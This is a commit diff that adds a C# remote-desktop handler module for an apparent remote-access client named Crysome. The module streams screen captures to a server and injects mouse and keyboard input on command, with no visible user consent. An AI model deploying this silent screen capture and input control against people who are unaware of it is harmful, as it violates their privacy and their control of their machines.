initial commit
This commit is contained in:
@@ -0,0 +1,422 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
using TurboJpegWrapper;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class RemoteDesktopHandlers
|
||||
{
|
||||
private struct INPUT
|
||||
{
|
||||
public uint type;
|
||||
public InputUnion U;
|
||||
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
private struct InputUnion
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public MOUSEINPUT mi;
|
||||
[FieldOffset(0)]
|
||||
public KEYBDINPUT ki;
|
||||
}
|
||||
|
||||
private struct MOUSEINPUT
|
||||
{
|
||||
public int dx;
|
||||
public int dy;
|
||||
public uint mouseData;
|
||||
public uint dwFlags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
private struct KEYBDINPUT
|
||||
{
|
||||
public ushort wVk;
|
||||
public ushort wScan;
|
||||
public uint dwFlags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
private static volatile bool _desktopRunning;
|
||||
private static Thread _desktopThread;
|
||||
private static CrysomeClient _desktopClient;
|
||||
private static int _intervalMs = 200;
|
||||
private static int _screenIndex = -1;
|
||||
private static volatile int _jpegQuality = 80;
|
||||
private static byte _captureMode;
|
||||
public static string ActiveMode { get; private set; } = "Idle";
|
||||
private static ImageCodecInfo _jpegCodec;
|
||||
private static readonly object _codecLock = new object();
|
||||
private static TurboJpegWrapper.TJCompressor _turboCompressor;
|
||||
private static bool _turboChecked;
|
||||
|
||||
private const int SM_XVIRTUALSCREEN = 76;
|
||||
private const int SM_YVIRTUALSCREEN = 77;
|
||||
private const int SM_CXVIRTUALSCREEN = 78;
|
||||
private const int SM_CYVIRTUALSCREEN = 79;
|
||||
|
||||
public static void HandleGetScreens(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
|
||||
for (int i = 0; i < allScreens.Length; i++)
|
||||
{
|
||||
Screen screen = allScreens[i];
|
||||
array[i] = new ScreenInfo
|
||||
{
|
||||
Name = screen.DeviceName,
|
||||
X = screen.Bounds.X,
|
||||
Y = screen.Bounds.Y,
|
||||
Width = screen.Bounds.Width,
|
||||
Height = screen.Bounds.Height,
|
||||
IsPrimary = screen.Primary
|
||||
};
|
||||
}
|
||||
client.SendPacket((IPacket)new ScreensResponsePacket(array));
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
_desktopRunning = false;
|
||||
_desktopThread?.Join(500);
|
||||
StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
|
||||
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
||||
_screenIndex = val.ScreenIndex;
|
||||
_captureMode = val.CaptureMode;
|
||||
_desktopClient = client;
|
||||
_jpegQuality = 80;
|
||||
_desktopRunning = true;
|
||||
_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
|
||||
_desktopThread.Start();
|
||||
}
|
||||
|
||||
public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
_desktopRunning = false;
|
||||
_desktopThread?.Join(2000);
|
||||
}
|
||||
|
||||
public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
|
||||
_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
|
||||
if (val.IntervalMs > 0)
|
||||
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
||||
}
|
||||
|
||||
public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
RemoteInputPacket val = (RemoteInputPacket)packet;
|
||||
try
|
||||
{
|
||||
int offsetX = 0, offsetY = 0;
|
||||
Screen targetScreen = GetTargetScreen();
|
||||
if (targetScreen != null)
|
||||
{
|
||||
offsetX = targetScreen.Bounds.X;
|
||||
offsetY = targetScreen.Bounds.Y;
|
||||
}
|
||||
int x = val.X + offsetX;
|
||||
int y = val.Y + offsetY;
|
||||
|
||||
switch (val.Kind)
|
||||
{
|
||||
case 0: SendMouseMove(x, y); break;
|
||||
case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
|
||||
case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
|
||||
case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
|
||||
case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void DesktopLoop()
|
||||
{
|
||||
var sw = new Stopwatch();
|
||||
DxgiCapture dxgi = null;
|
||||
bool dxgiAvailable = false;
|
||||
int dxgiRetryCounter = 0;
|
||||
|
||||
if (_captureMode == 2)
|
||||
{
|
||||
// GDI+ forced — skip DXGI entirely
|
||||
dxgiAvailable = false;
|
||||
ActiveMode = "GDI+ (forced)";
|
||||
Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Try DXGI (Auto or DXGI forced)
|
||||
try
|
||||
{
|
||||
dxgi = new DxgiCapture();
|
||||
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
||||
dxgiAvailable = dxgi.Init(idx);
|
||||
if (dxgiAvailable)
|
||||
{
|
||||
ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
|
||||
Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
dxgiAvailable = false;
|
||||
}
|
||||
|
||||
if (!dxgiAvailable)
|
||||
{
|
||||
if (_captureMode == 1)
|
||||
{
|
||||
// DXGI forced but failed — log error, don't fall back
|
||||
ActiveMode = "DXGI (failed)";
|
||||
Program.Log("[RDP] DXGI forced but init failed, no fallback");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Auto mode — fall back to GDI+
|
||||
ActiveMode = "GDI+";
|
||||
Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Bitmap gdiBitmap = null;
|
||||
Rectangle gdiRect = Rectangle.Empty;
|
||||
|
||||
try
|
||||
{
|
||||
while (_desktopRunning && _desktopClient != null)
|
||||
{
|
||||
sw.Restart();
|
||||
try
|
||||
{
|
||||
byte[] jpeg = null;
|
||||
|
||||
if (dxgiAvailable)
|
||||
{
|
||||
jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
|
||||
if (jpeg != null)
|
||||
{
|
||||
dxgiRetryCounter = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
dxgiRetryCounter++;
|
||||
if (dxgiRetryCounter > 120)
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit");
|
||||
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
||||
dxgiAvailable = dxgi.Init(idx);
|
||||
dxgiRetryCounter = 0;
|
||||
if (!dxgiAvailable)
|
||||
{
|
||||
if (_captureMode == 1)
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
|
||||
ActiveMode = "DXGI (failed)";
|
||||
}
|
||||
else
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
|
||||
ActiveMode = "GDI+";
|
||||
}
|
||||
dxgi.Dispose();
|
||||
dxgi = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!dxgiAvailable && _captureMode != 1)
|
||||
{
|
||||
Rectangle bounds = GetTargetScreen().Bounds;
|
||||
if (gdiBitmap == null || bounds != gdiRect)
|
||||
{
|
||||
gdiBitmap?.Dispose();
|
||||
gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
||||
gdiRect = bounds;
|
||||
}
|
||||
jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
|
||||
}
|
||||
|
||||
if (jpeg != null && jpeg.Length > 0)
|
||||
{
|
||||
try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
int elapsed = (int)sw.ElapsedMilliseconds;
|
||||
int sleep = _intervalMs - elapsed;
|
||||
if (sleep > 1)
|
||||
Thread.Sleep(sleep);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
ActiveMode = "Idle";
|
||||
dxgi?.Dispose();
|
||||
gdiBitmap?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
|
||||
{
|
||||
if (!_turboChecked)
|
||||
{
|
||||
_turboChecked = true;
|
||||
try { _turboCompressor = new TJCompressor(); }
|
||||
catch { _turboCompressor = null; }
|
||||
}
|
||||
|
||||
if (_turboCompressor != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
var bmpData = bmp.LockBits(
|
||||
new Rectangle(0, 0, bmp.Width, bmp.Height),
|
||||
ImageLockMode.ReadOnly,
|
||||
PixelFormat.Format24bppRgb);
|
||||
try
|
||||
{
|
||||
return _turboCompressor.Compress(
|
||||
bmpData.Scan0,
|
||||
bmpData.Stride,
|
||||
bmp.Width,
|
||||
bmp.Height,
|
||||
TJPixelFormats.TJPF_BGR,
|
||||
TJSubsamplingOptions.TJSAMP_420,
|
||||
quality,
|
||||
TJFlags.FASTDCT);
|
||||
}
|
||||
finally
|
||||
{
|
||||
bmp.UnlockBits(bmpData);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
_turboCompressor = null;
|
||||
}
|
||||
}
|
||||
|
||||
var codec = GetJpegCodec();
|
||||
if (codec != null)
|
||||
{
|
||||
using (var ep = new EncoderParameters(1))
|
||||
{
|
||||
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
using (var ms = new MemoryStream(65536))
|
||||
{
|
||||
bmp.Save(ms, codec, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var ms = new MemoryStream(65536))
|
||||
{
|
||||
bmp.Save(ms, ImageFormat.Jpeg);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
|
||||
{
|
||||
using (var g = Graphics.FromImage(reuseBmp))
|
||||
g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
|
||||
return EncodeBitmapToJpeg(reuseBmp, quality);
|
||||
}
|
||||
|
||||
private static ImageCodecInfo GetJpegCodec()
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
lock (_codecLock)
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
foreach (var info in ImageCodecInfo.GetImageEncoders())
|
||||
{
|
||||
if (info.FormatID == ImageFormat.Jpeg.Guid)
|
||||
{
|
||||
_jpegCodec = info;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return _jpegCodec;
|
||||
}
|
||||
|
||||
private static Screen GetTargetScreen()
|
||||
{
|
||||
var all = Screen.AllScreens;
|
||||
if (_screenIndex >= 0 && _screenIndex < all.Length)
|
||||
return all[_screenIndex];
|
||||
return Screen.PrimaryScreen;
|
||||
}
|
||||
|
||||
private static void ToAbsolute(int x, int y, out int ax, out int ay)
|
||||
{
|
||||
int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||
int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||
int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
|
||||
if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
|
||||
ax = (int)((double)(x - vx) * 65535.0 / vw);
|
||||
ay = (int)((double)(y - vy) * 65535.0 / vh);
|
||||
}
|
||||
|
||||
private static void SendMouseMove(int x, int y)
|
||||
{
|
||||
ToAbsolute(x, y, out var ax, out var ay);
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 0;
|
||||
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
private static void SendMouseButton(int x, int y, int button, bool down)
|
||||
{
|
||||
ToAbsolute(x, y, out var ax, out var ay);
|
||||
uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 0;
|
||||
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
private static void SendKey(ushort vk, bool down)
|
||||
{
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 1;
|
||||
input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetSystemMetrics(int nIndex);
|
||||
}
|
||||
Reference in New Issue
Block a user